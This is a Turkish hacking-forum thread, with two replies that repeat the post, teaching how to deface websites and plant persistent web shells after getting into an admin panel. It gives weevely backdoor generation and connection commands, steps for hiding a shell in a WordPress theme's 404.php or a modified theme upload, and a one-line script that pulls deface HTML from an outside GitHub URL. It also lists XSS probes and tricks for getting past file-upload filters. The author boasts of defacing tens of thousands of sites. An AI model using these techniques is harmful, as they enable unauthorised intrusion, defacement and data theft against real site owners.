Shell/Index Nasıl Atılır? | Shell Nasıl Oluşturulur?| Başlangıç Rehberi

Muslukcu

Katılımcı Üye
17 Kas 2021
699
262
Tesisat dükkanı
a3b2jeo.png

İyi günler Türk Hack Team ailesi.
Yeni olan birçok insan admin paneline kadar giriyor fakat index atmayı beceremeyebiliyor.

Bundan dolayı böyle bir konu açma gereksinimi duydum. Bu konu içeriğinde sizlere Wordpress veya custom admin panelleriyle ilgili nasıl
index veya shell atılır? Sorularının cevabını vereceğim. Elbette çok farklı teknikler mevcut. Fakat konuda anlatacağım içerikler 2012 yılından bu yana kullandığım geçerliliğini koruyan tekniklerdir.

İçerik tamamen eğitim Amaçlıdır.

Belki hatırlayanlar vardır. 2014-2015 yıllarında 10 binlerce websiteyi indexleyip yerli zone sitelerinde Mentalistler nickiyle ilk 10'a yükselmiştim. Birçoğunda bu yöntemleri kullandım.
HZEJ3un.gif

Mantığı Kavramak
6OfL8I.gif

untitledf672302d90d7fa5f.gif

Agresif saldırının temeli
hedef siteye bir input vermekten ve bu inputu değerlendirebilmekten geçiyor. Bundan dolayı bir websitenin herhangi bir paneline(Admin paneli olmasına gerek yok) girdiğimizde kontrol edeceğimiz bazı sayfalar olacak. Kontrol sırasını aşağıdaki sıralamaya göre yapabilirsiniz.

1. Panel içerisinde doğrudan sayfanın
kaynak kodlarını düzenleyebildiğim bir yer var mı?
2. Panel içerisinde doğrudan
sayfaya yükleme yapabileceğim bir yer var mı? (Örneğin görsel, tema, video, vb.)
3. Sayfa içerisinde
yazı girebildiğim herhangi bir sayfa var mı? (Örneğin çoğu panelde duyuru, yorum yapma, vb. sayfaları vardır.)

Genelde 3.sü bütün admin panellerinde olur. 1 ve 2. kontrol için düzenleme veya yükleme yapabilirsiniz fakat doğrudan anasayfaya etki etmez. Bu tarz durumlarda etki ettiği alanı site içerisinde inceleyip, bulmanız gerekir.

Ardından websitenin dinamiklerine göre saldırı vektörlerinizi gözden geçirmeniz gerekiyor. Aşağıda üzerinden detaylı anlatım yapmaya çalışacağım.


Neden Index Yerine Shell Atıyoruz?
6OfL8I.gif

xwryMps.gif

Nedenini bilmeyen
birçok kişi shelli sadece index atmak için kullanıyor. Shell atmanın saldırgan için birçok faydası mevcut.

Aşağıda neden shell kullandığımızın farklı sebeplerini listeliyorum.

1.
Backdoor olarak kullanıp, sonradan tekrar websiteye girmek için kullanılıyor.
2.
Tam yetki, bir websiteye shell attığınızda tam yetkiye sahip olabilirsiniz. Ardından sunucu içerisindeki diğer domainlere atlayabilirsiniz. Yani 1 websiteden onlarca website indexleyebilirsiniz.
3.
Kullanımı kolay, doğrudan anasayfaya erişemediğiniz(Index atmak için) durumlarda anasayfaya shell üzerinden erişebilirsiniz.
4. Shell ile
birçok veriye erişebilir ve indirebilirsiniz.


Nasıl Shell Oluşturulur?
6OfL8I.gif

İnternette birçok shell mevcuttur. Dilerseniz bunları indirip kullanabilirsiniz. Aynı zamanda forumda küçük bir aramayla indirebileceğiniz shellere ulaşabilirsiniz. Fakat ben internette paylaşılan shellere güvenmiyorum. Birçoğu şifrelenmiş olup kaynak kodlarını okuyamayacağımız halde paylaşılıyorlar. Bu durumda benim shell attığım websiteye, attığım shell aracılığıyla bir başkasınında erişebileceği anlamına geliyor. Hatta shelli attığımda shelli yazan kişiye log olarak düşüyor bile olabilir.

Ben shell için
weevely yazılımını kullanıyorum. Weevely tamamen açık kaynak bir yazılımdır.

Kali Linux dağıtımınıza

Kod:
sudo apt install weevely
komutunu yazarak kurabilirsiniz
Ardından

Kod:
weevely generate şifre dosyaadi.php

şeklinde backdoor/shell üretebilirsiniz.
Vwf0ksn.png

Herhangi bir websiteye attıktan sonra bağlantı kurmak için

Kod:
weevely url/weevelyadresi.php password

komutu ile bağlanıp temel linux komutlarıyla websitesini yönetebilirsiniz.

Wordpress Sitelere Nasıl Shell/Index Atılır?
6OfL8I.gif

Wordpress sitelerde farklı kullanıcı tipleri mevcuttur. Bundan dolayı her işlem bütün websitelerde yapılamaz. Fakat sizler için hepsini listeledim.

Kaynak Kodlarını Düzenleyerek Shell Atmak
6OfL8I.gif

Genelde Wordpress sitelerinde
temaları düzenleyebileceğiniz bir alan bulunur. Bu alan sol tarafta Appearance > Theme File Editor altındadır. Bu sayfaya girdiğinizde sağ taraftan düzenlemek istediğiniz tema sayfasını seçip shell kodlarınızı atıp kaydedebilirsiniz. Bu tarz durumlarda genellikle 404.php sayfası seçilir.
deazkgq.png

Yukarıda görselde gösterdiğim gibi 404 sayfasına shell attığınızda
siteadi.com/404.php veya siteadi.com/rastgeleolmayanbisayfa şeklinde adrese gittiğinizde sizi 404 sayfasına yönlendirecektir.

Eğer shellinizi weevely ile ürettiyseniz,
sayfanın bomboş gelmesi gerekiyor. Hemen adrese gidip Weevely ile bağlanmaya çalışalım.
mf6zPXU.png

Görmüş olduğunuz gibi başarılı bir şekilde shellimiz ile bağlantı kurabildik.


Herhangi bir engelden dolayı kaynak kodlarını editleyemediğimizi varsayalım ve başka bir yönteme yönelelim.

Tema Upload Yöntemiyle Shell Atmak
6OfL8I.gif

Wordpress websitelerde, Wordpress temalarını yükleyebilmek için bir sayfa barındırır. Bu sayfa içerisinden
Wordpress'in kendi temalarını yükleyebilirsiniz.

Öncelikle internetten bir
wordpress teması indirmeniz gerekiyor. Ardından indirdiğimiz zip formatında Wordpress temamızı açıyoruz ve içerisinden 404.php'yi silip, kendi shellimiz ile değiştiriyoruz. Eğer websiteye doğrudan index atmak isterseniz, index.php dosyasını silip kendi indexiniz ile değiştirebilirsiniz.
VYvlib7.png


Ardından website içerisinde
Appearance seçeneğinin altından Themes'e gidiyoruz ve yukarıda yer alan upload theme butonuna tıklıyoruz. Daha sonrasında açılan pencereden içeriğini değiştirdiğimiz zip dosyamızı seçip, yüklüyoruz.
X0FkFL8.png

Tema yüklendikten sonra karşımıza aşağıdaki gibi bir sayfa geliyor.
NnjPk0l.png

Burada
eğer indexinizi attıysanız, Activate butonuna tıklayarak temanızı aktif hale getirebilir ve anasayfa üzerinde indexinizi görüntüleyebilirsiniz.

Fakat shell attıysanız amacımız
işlemlerimizi tamamlayana kadar gizli kalmak olduğu için anasayfayı bozacak herhangi bir işlem yapmamamız gerekiyor. Bundan dolayı bu sayfayı gördükten sonra, sayfayı kapayabilirsiniz. Ardından siteadı.com/wp-content/themes/temaadi/404.php adresine giderek shellinize ulaşabilirsiniz.

Aynı işlemleri
tema yerine eklenti kısmından da yapabilirsiniz plugins sekmesinden aynı işlemleri bir wordpress eklentisiyle tekrarlayabilirsiniz.

Yukarıda anlattığım 2 başlığı yapmamıza websitenin izin vermediğini varsayalım.

Yazı Paylaşarak İndex Atmak
6OfL8I.gif

Eğer admin kullanıcısı yerine farklı bir kullanıcı ile giriş yaptıysanız çoğu zaman yukarıdaki seçenekleri uygulayamayabilirsiniz.
Bu durumda kaynak kodu yerine yazı düzenleyebildiğimiz, paylaşabildiğimiz sayfalara erişmemiz gerekir. Wordpress içerisinde Pages veya Posts adı altında bu tarz sayfalara erişebilirsiniz. Pages içerisinde genellikle anasayfa da yer alır. Bunun için sayfalara girip sağ taraftan url adresini kontrol edebilirsiniz. Eğer hiç anasayfa yoksa sadece 1 defaya mahsus kendiniz yaratabilirsiniz.

Bu tarz sayfalar
HTML kodu yazmanıza izin verirler. Genelde insanlar bunların içerisine IFrame veya redirect kodları yazarlar. Fakat buna hiç gerek yok. Bunun için yazdığım basit bir Javascript kodu mevcut. İndex kodlarınızı Github'a yüklemeniz gerekiyor.


JavaScript:
<script>fetch("https://raw.githubusercontent.com/mentalistler/tht-opsdk/main/tht.html").then(response => response.text()).then(html => document.body.innerHTML = html);</script>

T3J0vF0.png


Bu şekilde
html olarak kodu güncellediğinizde indexinizi çekecektir. Scriptten kısaca bahsetmek gerekirse index kodlarımızın olduğu sayfa içerisinde yer alan kodları çeker ve varolan sayfaya renderlar. Böylece varolan sayfadaki bütün içerik sizin indexinizle yer değiştirir. Bu scripti yazarken özellikle tek satıra sığdırmaya çalıştım. Çünkü bunu birçok yerde kullanıyorum ve bazı paneller alt satıra geçtiğinizde otomatik <br> tagı atarak script yapınızı bozuyor.

Anasayfaya gittiğimizde sonuç :
TgdjdLF.png

Diğer Websitelere Index Atmak
6OfL8I.gif

Çoğu zaman SQL Injection zaafiyeti ile website hacklediğimizde abuk subuk admin panellerine rastlıyoruz. Bunlar Wordpress, Joomla, vb. gibi bir standarda sahip olmadıkları için
içeriğini keşfedip buna göre bir vektör oluşturmamız gerekiyor.

Ben bu tarz durumlarda eğer shell yükleyebileceğim bir sayfa bulamadığımda içerik girebildiğim sayfalara

HTML:
<script>console.log(1)</script>
veya
HTML:
<script>alert(1)</script>
yazarak javascript kodlarını çalıştırıp, çalıştırmadığını kontrol ediyorum.
gEzkuZE.png

Çalıştırdığı durumlarda wordpress kısmında anlattığım,
Github'dan indexi renderlama kodunu yazıyorum.
Başka bir örnek:
A4pydUh.png


T7yefeP.png

Diğer Websitelere Upload ile Shell Atma Yöntemleri
6OfL8I.gif

Ekran görüntülerini genelde diğer arkadaşlara anlatırken aldığım görüntüler olduğu için upload yapmamız gereken bir website olmadı.

Bundan dolayı elimde ekran görüntüsü yok. Fakat en yaygın kullanılan teknikleri sizler ile paylaşacağım. Bu yöntemler
websitenin dinamiklerine göre değişiyor. En uygun yöntemi deneme yanılma veya analiz yaparak bulabilirsiniz.

1.
Doğrudan yüklemeyi deneyebilirsiniz. Sistem php kontrolü yapmıyor olabilir.
2. Dosyayı upload ederken
burp suite aracılığı ile content-type'sini görüntü formatı olarak değiştirebilirsiniz.
3. Eğer hedef sistem
dosyanın kontrolünü frontend tarafında yapıyorsa burp suite aracılığı ile dosyayı dosyaadi.png şeklinde kaydedip, sunucuya gönderilirken ismini dosyaadi.php şeklinde değiştirebilirsiniz.
4.
PHP dosyasının içeriğinin ilk satırına fotoğraf olarak algılaması için belirli parametreler girebilirsiniz (örnek: GIF89a;).
5.
Null byte injection deneyebilirsiniz. Dosyanın adını shell.php%00.jpg şeklinde düzenlerseniz, sistem shell.php olarak kabul edecektir.
6. php parametresini otomatik olarak siliyorsa PhP gibi değiştirebilirsiniz. php kontrolü yapan operatörler büyük küçük harf ayrımı yapıyorsa bu şekilde atlatabilirsiniz.

Kapanış
6OfL8I.gif

Umarım faydalı bir yazı olmuştur. Ayrıca konu hoşunuza gittiyse paylaştığım diğer konulara göz atabilirsiniz.


FetiSQL V2 | Dork Tarayıcı| SQL Oto Dump |SQL Oto Shell | Panel Bulucu
Google Colab ile DDos ve Botnet saldırıları!| Ufonet | DDos-Ripper
XML-RPC Zaafiyeti ile Wordpress Brute Force
Server-Side Template Injection
HackRF ile Replay Attack #2
HackRF Nedir? | HackRF ile GPS Spoofing #1
Mentalistler Dork Studio
Yazılım Öğrenme Rehberi | Yazılım Nasıl Öğrenilir? | Kaynaklar | Sıkça Sorulan Sorular
Elinize sağlık
 

teux

Katılımcı Üye
23 Ocak 2023
959
1,322
a3b2jeo.png

İyi günler Türk Hack Team ailesi.
Yeni olan birçok insan admin paneline kadar giriyor fakat index atmayı beceremeyebiliyor.

Bundan dolayı böyle bir konu açma gereksinimi duydum. Bu konu içeriğinde sizlere Wordpress veya custom admin panelleriyle ilgili nasıl
index veya shell atılır? Sorularının cevabını vereceğim. Elbette çok farklı teknikler mevcut. Fakat konuda anlatacağım içerikler 2012 yılından bu yana kullandığım geçerliliğini koruyan tekniklerdir.

İçerik tamamen eğitim Amaçlıdır.

Belki hatırlayanlar vardır. 2014-2015 yıllarında 10 binlerce websiteyi indexleyip yerli zone sitelerinde Mentalistler nickiyle ilk 10'a yükselmiştim. Birçoğunda bu yöntemleri kullandım.
HZEJ3un.gif

Mantığı Kavramak
6OfL8I.gif

untitledf672302d90d7fa5f.gif

Agresif saldırının temeli
hedef siteye bir input vermekten ve bu inputu değerlendirebilmekten geçiyor. Bundan dolayı bir websitenin herhangi bir paneline(Admin paneli olmasına gerek yok) girdiğimizde kontrol edeceğimiz bazı sayfalar olacak. Kontrol sırasını aşağıdaki sıralamaya göre yapabilirsiniz.

1. Panel içerisinde doğrudan sayfanın
kaynak kodlarını düzenleyebildiğim bir yer var mı?
2. Panel içerisinde doğrudan
sayfaya yükleme yapabileceğim bir yer var mı? (Örneğin görsel, tema, video, vb.)
3. Sayfa içerisinde
yazı girebildiğim herhangi bir sayfa var mı? (Örneğin çoğu panelde duyuru, yorum yapma, vb. sayfaları vardır.)

Genelde 3.sü bütün admin panellerinde olur. 1 ve 2. kontrol için düzenleme veya yükleme yapabilirsiniz fakat doğrudan anasayfaya etki etmez. Bu tarz durumlarda etki ettiği alanı site içerisinde inceleyip, bulmanız gerekir.

Ardından websitenin dinamiklerine göre saldırı vektörlerinizi gözden geçirmeniz gerekiyor. Aşağıda üzerinden detaylı anlatım yapmaya çalışacağım.


Neden Index Yerine Shell Atıyoruz?
6OfL8I.gif

xwryMps.gif

Nedenini bilmeyen
birçok kişi shelli sadece index atmak için kullanıyor. Shell atmanın saldırgan için birçok faydası mevcut.

Aşağıda neden shell kullandığımızın farklı sebeplerini listeliyorum.

1.
Backdoor olarak kullanıp, sonradan tekrar websiteye girmek için kullanılıyor.
2.
Tam yetki, bir websiteye shell attığınızda tam yetkiye sahip olabilirsiniz. Ardından sunucu içerisindeki diğer domainlere atlayabilirsiniz. Yani 1 websiteden onlarca website indexleyebilirsiniz.
3.
Kullanımı kolay, doğrudan anasayfaya erişemediğiniz(Index atmak için) durumlarda anasayfaya shell üzerinden erişebilirsiniz.
4. Shell ile
birçok veriye erişebilir ve indirebilirsiniz.


Nasıl Shell Oluşturulur?
6OfL8I.gif

İnternette birçok shell mevcuttur. Dilerseniz bunları indirip kullanabilirsiniz. Aynı zamanda forumda küçük bir aramayla indirebileceğiniz shellere ulaşabilirsiniz. Fakat ben internette paylaşılan shellere güvenmiyorum. Birçoğu şifrelenmiş olup kaynak kodlarını okuyamayacağımız halde paylaşılıyorlar. Bu durumda benim shell attığım websiteye, attığım shell aracılığıyla bir başkasınında erişebileceği anlamına geliyor. Hatta shelli attığımda shelli yazan kişiye log olarak düşüyor bile olabilir.

Ben shell için
weevely yazılımını kullanıyorum. Weevely tamamen açık kaynak bir yazılımdır.

Kali Linux dağıtımınıza

Kod:
sudo apt install weevely
komutunu yazarak kurabilirsiniz
Ardından

Kod:
weevely generate şifre dosyaadi.php

şeklinde backdoor/shell üretebilirsiniz.
Vwf0ksn.png

Herhangi bir websiteye attıktan sonra bağlantı kurmak için

Kod:
weevely url/weevelyadresi.php password

komutu ile bağlanıp temel linux komutlarıyla websitesini yönetebilirsiniz.

Wordpress Sitelere Nasıl Shell/Index Atılır?
6OfL8I.gif

Wordpress sitelerde farklı kullanıcı tipleri mevcuttur. Bundan dolayı her işlem bütün websitelerde yapılamaz. Fakat sizler için hepsini listeledim.

Kaynak Kodlarını Düzenleyerek Shell Atmak
6OfL8I.gif

Genelde Wordpress sitelerinde
temaları düzenleyebileceğiniz bir alan bulunur. Bu alan sol tarafta Appearance > Theme File Editor altındadır. Bu sayfaya girdiğinizde sağ taraftan düzenlemek istediğiniz tema sayfasını seçip shell kodlarınızı atıp kaydedebilirsiniz. Bu tarz durumlarda genellikle 404.php sayfası seçilir.
deazkgq.png

Yukarıda görselde gösterdiğim gibi 404 sayfasına shell attığınızda
siteadi.com/404.php veya siteadi.com/rastgeleolmayanbisayfa şeklinde adrese gittiğinizde sizi 404 sayfasına yönlendirecektir.

Eğer shellinizi weevely ile ürettiyseniz,
sayfanın bomboş gelmesi gerekiyor. Hemen adrese gidip Weevely ile bağlanmaya çalışalım.
mf6zPXU.png

Görmüş olduğunuz gibi başarılı bir şekilde shellimiz ile bağlantı kurabildik.


Herhangi bir engelden dolayı kaynak kodlarını editleyemediğimizi varsayalım ve başka bir yönteme yönelelim.

Tema Upload Yöntemiyle Shell Atmak
6OfL8I.gif

Wordpress websitelerde, Wordpress temalarını yükleyebilmek için bir sayfa barındırır. Bu sayfa içerisinden
Wordpress'in kendi temalarını yükleyebilirsiniz.

Öncelikle internetten bir
wordpress teması indirmeniz gerekiyor. Ardından indirdiğimiz zip formatında Wordpress temamızı açıyoruz ve içerisinden 404.php'yi silip, kendi shellimiz ile değiştiriyoruz. Eğer websiteye doğrudan index atmak isterseniz, index.php dosyasını silip kendi indexiniz ile değiştirebilirsiniz.
VYvlib7.png


Ardından website içerisinde
Appearance seçeneğinin altından Themes'e gidiyoruz ve yukarıda yer alan upload theme butonuna tıklıyoruz. Daha sonrasında açılan pencereden içeriğini değiştirdiğimiz zip dosyamızı seçip, yüklüyoruz.
X0FkFL8.png

Tema yüklendikten sonra karşımıza aşağıdaki gibi bir sayfa geliyor.
NnjPk0l.png

Burada
eğer indexinizi attıysanız, Activate butonuna tıklayarak temanızı aktif hale getirebilir ve anasayfa üzerinde indexinizi görüntüleyebilirsiniz.

Fakat shell attıysanız amacımız
işlemlerimizi tamamlayana kadar gizli kalmak olduğu için anasayfayı bozacak herhangi bir işlem yapmamamız gerekiyor. Bundan dolayı bu sayfayı gördükten sonra, sayfayı kapayabilirsiniz. Ardından siteadı.com/wp-content/themes/temaadi/404.php adresine giderek shellinize ulaşabilirsiniz.

Aynı işlemleri
tema yerine eklenti kısmından da yapabilirsiniz plugins sekmesinden aynı işlemleri bir wordpress eklentisiyle tekrarlayabilirsiniz.

Yukarıda anlattığım 2 başlığı yapmamıza websitenin izin vermediğini varsayalım.

Yazı Paylaşarak İndex Atmak
6OfL8I.gif

Eğer admin kullanıcısı yerine farklı bir kullanıcı ile giriş yaptıysanız çoğu zaman yukarıdaki seçenekleri uygulayamayabilirsiniz.
Bu durumda kaynak kodu yerine yazı düzenleyebildiğimiz, paylaşabildiğimiz sayfalara erişmemiz gerekir. Wordpress içerisinde Pages veya Posts adı altında bu tarz sayfalara erişebilirsiniz. Pages içerisinde genellikle anasayfa da yer alır. Bunun için sayfalara girip sağ taraftan url adresini kontrol edebilirsiniz. Eğer hiç anasayfa yoksa sadece 1 defaya mahsus kendiniz yaratabilirsiniz.

Bu tarz sayfalar
HTML kodu yazmanıza izin verirler. Genelde insanlar bunların içerisine IFrame veya redirect kodları yazarlar. Fakat buna hiç gerek yok. Bunun için yazdığım basit bir Javascript kodu mevcut. İndex kodlarınızı Github'a yüklemeniz gerekiyor.


JavaScript:
<script>fetch("https://raw.githubusercontent.com/mentalistler/tht-opsdk/main/tht.html").then(response => response.text()).then(html => document.body.innerHTML = html);</script>

T3J0vF0.png


Bu şekilde
html olarak kodu güncellediğinizde indexinizi çekecektir. Scriptten kısaca bahsetmek gerekirse index kodlarımızın olduğu sayfa içerisinde yer alan kodları çeker ve varolan sayfaya renderlar. Böylece varolan sayfadaki bütün içerik sizin indexinizle yer değiştirir. Bu scripti yazarken özellikle tek satıra sığdırmaya çalıştım. Çünkü bunu birçok yerde kullanıyorum ve bazı paneller alt satıra geçtiğinizde otomatik <br> tagı atarak script yapınızı bozuyor.

Anasayfaya gittiğimizde sonuç :
TgdjdLF.png

Diğer Websitelere Index Atmak
6OfL8I.gif

Çoğu zaman SQL Injection zaafiyeti ile website hacklediğimizde abuk subuk admin panellerine rastlıyoruz. Bunlar Wordpress, Joomla, vb. gibi bir standarda sahip olmadıkları için
içeriğini keşfedip buna göre bir vektör oluşturmamız gerekiyor.

Ben bu tarz durumlarda eğer shell yükleyebileceğim bir sayfa bulamadığımda içerik girebildiğim sayfalara

HTML:
<script>console.log(1)</script>
veya
HTML:
<script>alert(1)</script>
yazarak javascript kodlarını çalıştırıp, çalıştırmadığını kontrol ediyorum.
gEzkuZE.png

Çalıştırdığı durumlarda wordpress kısmında anlattığım,
Github'dan indexi renderlama kodunu yazıyorum.
Başka bir örnek:
A4pydUh.png


T7yefeP.png

Diğer Websitelere Upload ile Shell Atma Yöntemleri
6OfL8I.gif

Ekran görüntülerini genelde diğer arkadaşlara anlatırken aldığım görüntüler olduğu için upload yapmamız gereken bir website olmadı.

Bundan dolayı elimde ekran görüntüsü yok. Fakat en yaygın kullanılan teknikleri sizler ile paylaşacağım. Bu yöntemler
websitenin dinamiklerine göre değişiyor. En uygun yöntemi deneme yanılma veya analiz yaparak bulabilirsiniz.

1.
Doğrudan yüklemeyi deneyebilirsiniz. Sistem php kontrolü yapmıyor olabilir.
2. Dosyayı upload ederken
burp suite aracılığı ile content-type'sini görüntü formatı olarak değiştirebilirsiniz.
3. Eğer hedef sistem
dosyanın kontrolünü frontend tarafında yapıyorsa burp suite aracılığı ile dosyayı dosyaadi.png şeklinde kaydedip, sunucuya gönderilirken ismini dosyaadi.php şeklinde değiştirebilirsiniz.
4.
PHP dosyasının içeriğinin ilk satırına fotoğraf olarak algılaması için belirli parametreler girebilirsiniz (örnek: GIF89a;).
5.
Null byte injection deneyebilirsiniz. Dosyanın adını shell.php%00.jpg şeklinde düzenlerseniz, sistem shell.php olarak kabul edecektir.
6. php parametresini otomatik olarak siliyorsa PhP gibi değiştirebilirsiniz. php kontrolü yapan operatörler büyük küçük harf ayrımı yapıyorsa bu şekilde atlatabilirsiniz.

Kapanış
6OfL8I.gif

Umarım faydalı bir yazı olmuştur. Ayrıca konu hoşunuza gittiyse paylaştığım diğer konulara göz atabilirsiniz.


FetiSQL V2 | Dork Tarayıcı| SQL Oto Dump |SQL Oto Shell | Panel Bulucu
Google Colab ile DDos ve Botnet saldırıları!| Ufonet | DDos-Ripper
XML-RPC Zaafiyeti ile Wordpress Brute Force
Server-Side Template Injection
HackRF ile Replay Attack #2
HackRF Nedir? | HackRF ile GPS Spoofing #1
Mentalistler Dork Studio
Yazılım Öğrenme Rehberi | Yazılım Nasıl Öğrenilir? | Kaynaklar | Sıkça Sorulan Sorular
Elinize emeğinize sağlık.
 

RootWarrior

Yeni üye
2 Mar 2024
8
0
a3b2jeo.png

İyi günler Türk Hack Team ailesi.
Yeni olan birçok insan admin paneline kadar giriyor fakat index atmayı beceremeyebiliyor.

Bundan dolayı böyle bir konu açma gereksinimi duydum. Bu konu içeriğinde sizlere Wordpress veya custom admin panelleriyle ilgili nasıl
index veya shell atılır? Sorularının cevabını vereceğim. Elbette çok farklı teknikler mevcut. Fakat konuda anlatacağım içerikler 2012 yılından bu yana kullandığım geçerliliğini koruyan tekniklerdir.

İçerik tamamen eğitim Amaçlıdır.

Belki hatırlayanlar vardır. 2014-2015 yıllarında 10 binlerce websiteyi indexleyip yerli zone sitelerinde Mentalistler nickiyle ilk 10'a yükselmiştim. Birçoğunda bu yöntemleri kullandım.
HZEJ3un.gif

Mantığı Kavramak
6OfL8I.gif

untitledf672302d90d7fa5f.gif

Agresif saldırının temeli
hedef siteye bir input vermekten ve bu inputu değerlendirebilmekten geçiyor. Bundan dolayı bir websitenin herhangi bir paneline(Admin paneli olmasına gerek yok) girdiğimizde kontrol edeceğimiz bazı sayfalar olacak. Kontrol sırasını aşağıdaki sıralamaya göre yapabilirsiniz.

1. Panel içerisinde doğrudan sayfanın
kaynak kodlarını düzenleyebildiğim bir yer var mı?
2. Panel içerisinde doğrudan
sayfaya yükleme yapabileceğim bir yer var mı? (Örneğin görsel, tema, video, vb.)
3. Sayfa içerisinde
yazı girebildiğim herhangi bir sayfa var mı? (Örneğin çoğu panelde duyuru, yorum yapma, vb. sayfaları vardır.)

Genelde 3.sü bütün admin panellerinde olur. 1 ve 2. kontrol için düzenleme veya yükleme yapabilirsiniz fakat doğrudan anasayfaya etki etmez. Bu tarz durumlarda etki ettiği alanı site içerisinde inceleyip, bulmanız gerekir.

Ardından websitenin dinamiklerine göre saldırı vektörlerinizi gözden geçirmeniz gerekiyor. Aşağıda üzerinden detaylı anlatım yapmaya çalışacağım.


Neden Index Yerine Shell Atıyoruz?
6OfL8I.gif

xwryMps.gif

Nedenini bilmeyen
birçok kişi shelli sadece index atmak için kullanıyor. Shell atmanın saldırgan için birçok faydası mevcut.

Aşağıda neden shell kullandığımızın farklı sebeplerini listeliyorum.

1.
Backdoor olarak kullanıp, sonradan tekrar websiteye girmek için kullanılıyor.
2.
Tam yetki, bir websiteye shell attığınızda tam yetkiye sahip olabilirsiniz. Ardından sunucu içerisindeki diğer domainlere atlayabilirsiniz. Yani 1 websiteden onlarca website indexleyebilirsiniz.
3.
Kullanımı kolay, doğrudan anasayfaya erişemediğiniz(Index atmak için) durumlarda anasayfaya shell üzerinden erişebilirsiniz.
4. Shell ile
birçok veriye erişebilir ve indirebilirsiniz.


Nasıl Shell Oluşturulur?
6OfL8I.gif

İnternette birçok shell mevcuttur. Dilerseniz bunları indirip kullanabilirsiniz. Aynı zamanda forumda küçük bir aramayla indirebileceğiniz shellere ulaşabilirsiniz. Fakat ben internette paylaşılan shellere güvenmiyorum. Birçoğu şifrelenmiş olup kaynak kodlarını okuyamayacağımız halde paylaşılıyorlar. Bu durumda benim shell attığım websiteye, attığım shell aracılığıyla bir başkasınında erişebileceği anlamına geliyor. Hatta shelli attığımda shelli yazan kişiye log olarak düşüyor bile olabilir.

Ben shell için
weevely yazılımını kullanıyorum. Weevely tamamen açık kaynak bir yazılımdır.

Kali Linux dağıtımınıza

Kod:
sudo apt install weevely
komutunu yazarak kurabilirsiniz
Ardından

Kod:
weevely generate şifre dosyaadi.php

şeklinde backdoor/shell üretebilirsiniz.
Vwf0ksn.png

Herhangi bir websiteye attıktan sonra bağlantı kurmak için

Kod:
weevely url/weevelyadresi.php password

komutu ile bağlanıp temel linux komutlarıyla websitesini yönetebilirsiniz.

Wordpress Sitelere Nasıl Shell/Index Atılır?
6OfL8I.gif

Wordpress sitelerde farklı kullanıcı tipleri mevcuttur. Bundan dolayı her işlem bütün websitelerde yapılamaz. Fakat sizler için hepsini listeledim.

Kaynak Kodlarını Düzenleyerek Shell Atmak
6OfL8I.gif

Genelde Wordpress sitelerinde
temaları düzenleyebileceğiniz bir alan bulunur. Bu alan sol tarafta Appearance > Theme File Editor altındadır. Bu sayfaya girdiğinizde sağ taraftan düzenlemek istediğiniz tema sayfasını seçip shell kodlarınızı atıp kaydedebilirsiniz. Bu tarz durumlarda genellikle 404.php sayfası seçilir.
deazkgq.png

Yukarıda görselde gösterdiğim gibi 404 sayfasına shell attığınızda
siteadi.com/404.php veya siteadi.com/rastgeleolmayanbisayfa şeklinde adrese gittiğinizde sizi 404 sayfasına yönlendirecektir.

Eğer shellinizi weevely ile ürettiyseniz,
sayfanın bomboş gelmesi gerekiyor. Hemen adrese gidip Weevely ile bağlanmaya çalışalım.
mf6zPXU.png

Görmüş olduğunuz gibi başarılı bir şekilde shellimiz ile bağlantı kurabildik.


Herhangi bir engelden dolayı kaynak kodlarını editleyemediğimizi varsayalım ve başka bir yönteme yönelelim.

Tema Upload Yöntemiyle Shell Atmak
6OfL8I.gif

Wordpress websitelerde, Wordpress temalarını yükleyebilmek için bir sayfa barındırır. Bu sayfa içerisinden
Wordpress'in kendi temalarını yükleyebilirsiniz.

Öncelikle internetten bir
wordpress teması indirmeniz gerekiyor. Ardından indirdiğimiz zip formatında Wordpress temamızı açıyoruz ve içerisinden 404.php'yi silip, kendi shellimiz ile değiştiriyoruz. Eğer websiteye doğrudan index atmak isterseniz, index.php dosyasını silip kendi indexiniz ile değiştirebilirsiniz.
VYvlib7.png


Ardından website içerisinde
Appearance seçeneğinin altından Themes'e gidiyoruz ve yukarıda yer alan upload theme butonuna tıklıyoruz. Daha sonrasında açılan pencereden içeriğini değiştirdiğimiz zip dosyamızı seçip, yüklüyoruz.
X0FkFL8.png

Tema yüklendikten sonra karşımıza aşağıdaki gibi bir sayfa geliyor.
NnjPk0l.png

Burada
eğer indexinizi attıysanız, Activate butonuna tıklayarak temanızı aktif hale getirebilir ve anasayfa üzerinde indexinizi görüntüleyebilirsiniz.

Fakat shell attıysanız amacımız
işlemlerimizi tamamlayana kadar gizli kalmak olduğu için anasayfayı bozacak herhangi bir işlem yapmamamız gerekiyor. Bundan dolayı bu sayfayı gördükten sonra, sayfayı kapayabilirsiniz. Ardından siteadı.com/wp-content/themes/temaadi/404.php adresine giderek shellinize ulaşabilirsiniz.

Aynı işlemleri
tema yerine eklenti kısmından da yapabilirsiniz plugins sekmesinden aynı işlemleri bir wordpress eklentisiyle tekrarlayabilirsiniz.

Yukarıda anlattığım 2 başlığı yapmamıza websitenin izin vermediğini varsayalım.

Yazı Paylaşarak İndex Atmak
6OfL8I.gif

Eğer admin kullanıcısı yerine farklı bir kullanıcı ile giriş yaptıysanız çoğu zaman yukarıdaki seçenekleri uygulayamayabilirsiniz.
Bu durumda kaynak kodu yerine yazı düzenleyebildiğimiz, paylaşabildiğimiz sayfalara erişmemiz gerekir. Wordpress içerisinde Pages veya Posts adı altında bu tarz sayfalara erişebilirsiniz. Pages içerisinde genellikle anasayfa da yer alır. Bunun için sayfalara girip sağ taraftan url adresini kontrol edebilirsiniz. Eğer hiç anasayfa yoksa sadece 1 defaya mahsus kendiniz yaratabilirsiniz.

Bu tarz sayfalar
HTML kodu yazmanıza izin verirler. Genelde insanlar bunların içerisine IFrame veya redirect kodları yazarlar. Fakat buna hiç gerek yok. Bunun için yazdığım basit bir Javascript kodu mevcut. İndex kodlarınızı Github'a yüklemeniz gerekiyor.


JavaScript:
<script>fetch("https://raw.githubusercontent.com/mentalistler/tht-opsdk/main/tht.html").then(response => response.text()).then(html => document.body.innerHTML = html);</script>

T3J0vF0.png


Bu şekilde
